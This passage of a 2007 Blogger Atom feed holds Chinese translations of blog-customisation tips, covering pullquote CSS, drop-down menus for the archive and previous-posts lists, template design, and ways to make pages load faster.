255);"&gt; rgb(255, 102, 0)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"&amp;gt;#ccc&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;&lt;br /&gt;.pullquote p &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;padding&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; 0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;margin&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; 0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　如果想使用不同的字体颜色，修改 color 属性。而 size font 决定字体大小。border color 属性中的 border solid、dotted、dashed 值分别对应实线、点、虚线三种边框。保存模板后，在创建新文章时，加入下面的代码。（一个小技巧：）如果你经常使用，而又不想手动写代码，我们有自动完成的办法。打开“设置/文档格式/文章模板”添加下面的代码：&lt;/span&gt;&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;blockquote &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="pullquote"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;p&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;...摘要内容...&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;p&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;blockquote&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;p&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;在这里输入文章内容...&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;p&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;　　摘要&lt;span id="__firefox-findbar-search-id" style="padding: 0pt; background-color: yellow; display: inline;font-size:inherit;color:black;"  &gt;&lt;span id="__firefox-findbar-search-id" style="padding: 0pt; background-color: yellow; display: inline;font-size:inherit;color:black;"  &gt;&lt;/span&gt;&lt;/span&gt;是非常有用的小家伙。为什么？因为每个人都会看看她，这就是原因。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-4599069886694373228?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/4599069886694373228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=4599069886694373228' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4599069886694373228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4599069886694373228'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blog-post_5590.html' title='[翻译]用“摘要”（pullquote）打破厌倦'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-2998498188115368242</id><published>2007-05-20T20:09:00.000+08:00</published><updated>2007-05-21T02:30:22.182+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]下拉菜单式“旧文章”和“博客归档”</title><content type='html'>原文：&lt;a href="http://bloggeruniversity.blogspot.com/2006/05/blogger-previous-posts-archives-drop.html"&gt;Blogger 'Previous Posts' &amp; 'Archives' Drop Down Menu&lt;/a&gt;&lt;br /&gt;　　我知道下拉菜单有一些问题，我也正在学习如何去解决。在 &lt;a href="http://www.bloggerforum.com/"&gt;Blogger Forum&lt;/a&gt; 的 thrbr 帮助下，我正逐步的修复问题。我从自己订阅的杂志里基本上知道了所有所需要的知识，但我还是不知道怎么把下拉菜单添加到侧边栏而不会因为长标题扩展。放轻松点，我现在知道怎么弄，现在我将与你分享这一切。&lt;br /&gt;　　&lt;span style="font-weight: bold;"&gt;修改“最近文章”或“旧文章”&lt;/span&gt;: 在模板中找到下面的代码：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;h2 &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="sidebar-title"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Previous Posts&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;h2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;ul &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="recently"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;BloggerPreviousItems&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;li&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="&amp;lt;$BlogItemPermalinkURL$&amp;gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;$BlogPreviousItemTitle&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;li&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;BloggerPreviousItems&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;ul&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　替换成：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;select &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="PreviousItemsMenu"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; onChange&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="location.href=this.options[this.selectedIndex].value;"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;span style="color: rgb(255, 102, 102);"&gt;&lt;br /&gt;style&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;="background-color:#ffffff; color:#555555; font-family: Trebuchet MS; width: 123px;"&lt;/span&gt;&lt;span style="color: rgb(255, 102, 102);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;value&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="/"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Previous Items&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;BloggerPreviousItems&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;value&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="&amp;lt;$BlogItemPermalinkURL$&amp;gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;$BlogPreviousItemTitle&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;BloggerPreviousItems&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　&lt;span style="font-weight: bold;"&gt;修改“博客归档”&lt;/span&gt;: 找到下面的代码：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;h2 &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="sidebar-title"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Archives&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;h2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;ul &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="archive-list"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;BloggerArchives&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;li&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="&amp;lt;$BlogArchiveURL$&amp;gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;$BlogArchiveName&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;li&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　替换成：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;select &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="ArchiveMenu"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; onChange&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="location.href=this.options[this.selectedIndex].value;"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;style&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;="background-color:#BDDEAD; color:#080808; font-family: Comic Sans MS; width: 130px;"&lt;/span&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;value&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="/"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;- Archives -&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;BloggerArchives&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;value&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="&amp;lt;$BlogArchiveURL$&amp;gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;$BlogArchiveName&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;BloggerArchives&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;value&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="/"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Current Posts&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　如果要让菜单符合 blog 的样式，修改上面红色部分的代码就行了。例子中使用了不同的颜色，字体和字号来表示各种选项。&lt;br /&gt;　　如果侧边栏中不停变长的链接列表困扰着你，这也许是一种解决方法。我并不是说这解决了所有侧边栏的问题，但就现在来看工作得很好。在 &lt;a href="http://bloggeruniversity.blogspot.com/2006/04/drop-down-menu-alternative.html#links"&gt;A drop-down menu alternative&lt;/a&gt; 中说到另一种方法虽然不使用下拉菜单，但也提供了相同的功能。我使用这种方法来显示所有文章。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-2998498188115368242?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/2998498188115368242/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=2998498188115368242' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2998498188115368242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2998498188115368242'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blog-post_2496.html' title='[翻译]下拉菜单式“旧文章”和“博客归档”'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8541716726085634214</id><published>2007-05-19T21:34:00.000+08:00</published><updated>2007-05-20T19:50:42.811+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]自定义 blogger 模板</title><content type='html'>原文：&lt;a href="http://bloggeruniversity.blogspot.com/2006/08/customizable-blogger-template.html"&gt;Customizable blogger template&lt;/a&gt;&lt;br /&gt;　　在 RealityTopia Blog 的&lt;a href="http://www.livefreediefree.com/MyBloggerTemplate.htm"&gt;这篇文章&lt;/a&gt;中对模板进行了一些深入修改。George Mikos 没有使用简单的可自定义的模板，而是自己写模板源代码。他不仅告诉你&lt;span style="font-style: italic;"&gt;怎么作&lt;/span&gt;，还告诉你&lt;span style="font-style: italic;"&gt;为什么&lt;/span&gt;要&lt;span&gt;这么做&lt;/span&gt;。 如果能知道作每个步骤的原因，那么学习起来就容易很多了。而他正好做到了这些，而且深入浅出。很像他值得骄傲的模板代码一样，他也应该感到骄傲。&lt;br /&gt;　　我打算好好学习一下他的方法。我对每个部分都非常感兴趣，特别是使用 CSS 浮动属性来得到显示分辨率的宽度是 1024 x 768 还是 800 x 600。&lt;br /&gt;　　文章中很多内容都需要好好消化。我强烈推荐想自己创建模板的人仔细研究这篇文章。&lt;br /&gt;译注：是很不错的文章，讲解很详细。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8541716726085634214?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8541716726085634214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8541716726085634214'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blogger.html' title='[翻译]自定义 blogger 模板'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-825525285097326892</id><published>2007-05-18T19:10:00.000+08:00</published><updated>2007-05-20T17:52:34.205+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]如何优化网页读取速度</title><content type='html'>原文：&lt;a href="http://bloggeruniversity.blogspot.com/2006/05/how-to-optimize-web-pages-for-faster.html"&gt;How to optimize web pages for faster loading&lt;/a&gt;&lt;br /&gt;　　如果网页加载速度很快，博客的读者当然会很高兴。问题是──怎么让它快速加载？让我告诉你我的发现──&lt;span style="font-style: italic;"&gt;优化网页&lt;/span&gt;，这就是答案。下面是一些优化网页的方法。&lt;br /&gt;　　减少网页中的不必要的空格是一种降低 Page weight 的方法。Page weight 在读取过程中起到了重要的作用。一些工具，比如 &lt;a href="http://tidy.sourceforge.net/"&gt;HTML Tidy&lt;/a&gt;， 能自动从网页代码中去掉多余的空格和空行。当然你也能自己去掉代码中（多余的）空格。这能去掉网页中大部分多余的重量（weight），从而加快一些读取速度。&lt;br /&gt;　　由于每个独立的域都会花一部分时间进行 DNS 查找，减少使用其他域的 CSS、JavaScript 和图片会减少读取时间。虽然不总是很使用，但是，尽量少使用不同域的文件是可能的。我检查我的 blog，把所有图片都以PNG格式保存在本地，然后上传到我的网页服务器。这样所有（几乎所有）都来自同一个域。&lt;br /&gt;　　当然也可以修剪网页。在 Blogger 中这简单的等于减少主页的文章数量。在设置/格式设定/显示中可以对其进行修改。我选择了5篇文章，可能以后还要修改。&lt;br /&gt;　　去掉博客中不必要的元素。 对我来说包含声音文件是很大的错误。它需要大量的时间来读取，同时也经常惹恼读者。试着不要使用 Java applets──JavaScript 读取更快速。问问自己，侧边栏的一个小时钟是否能值回读取它的时间？特别是每个人在右下角都能看到时间的时候。从读取速度上好好审阅一下 blog，也许能减少向你的 blog 中添加一些不必要的东西。&lt;br /&gt;　　我们还用方法提高图片的读取速度。只需要在 img 标签中加上 width 、height 属性。比如，以前的标签像这样：&lt;br /&gt;&lt;blockquote&gt;&amp;lt;img SRC="blogheader.gif"&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;blogheader.gif 的宽、高分别是30、15，那么改成如下格式：&lt;br /&gt;&lt;blockquote&gt;&amp;lt;img SRC="blogheader.gif" width=30 height=15&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;　　为什么这样修改能提高速度？后一种标签帮助浏览器在读取图片前决定页面的布局。这当然是有原因的，如果页面中有很多图片，每次读取图片后计算页面页面布局将花费更多的时间。&lt;br /&gt;　　减小图片尺寸能减少读取时间。&lt;a href="http://tools.dynamicdrive.com/imageoptimizer/"&gt;Online Image Optimizer&lt;/a&gt; 能减小 gif、 jpg和png图片的尺寸。这是在线免费工具，而且很容易使用。&lt;br /&gt;　　我已经尝试把所有的图片转换成 PNG，因为没有版权问题，而且读取快速。但是，如果你仍然想使用 gif 和 jpg，有一个好规则──如果不需要高清晰的分辨率，首先使用 GIF，因为它读取更快。JPG 一般使用于照片，而 GIF 用于其他。&lt;br /&gt;　　使用上面的一些方法能加快 blog 的读取时间，让你的拥有更多愉快的读者和老读者！！&lt;br /&gt;感谢以下网站：&lt;br /&gt;&lt;a href="http://www.chami.com/tips/internet/120696I.html"&gt;Chami.com Tips&lt;/a&gt;, &lt;a href="http://www.webweaver.nu/html-tips/load-time.shtml"&gt;WebWeaver.nu&lt;/a&gt;, &lt;a href="http://devedge-temp.mozilla.org/viewsource/2003/page-load-performance/index_en.html#masthead"&gt;Netscape Devedge&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-825525285097326892?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/825525285097326892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=825525285097326892' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/825525285097326892'/><link rel='self' 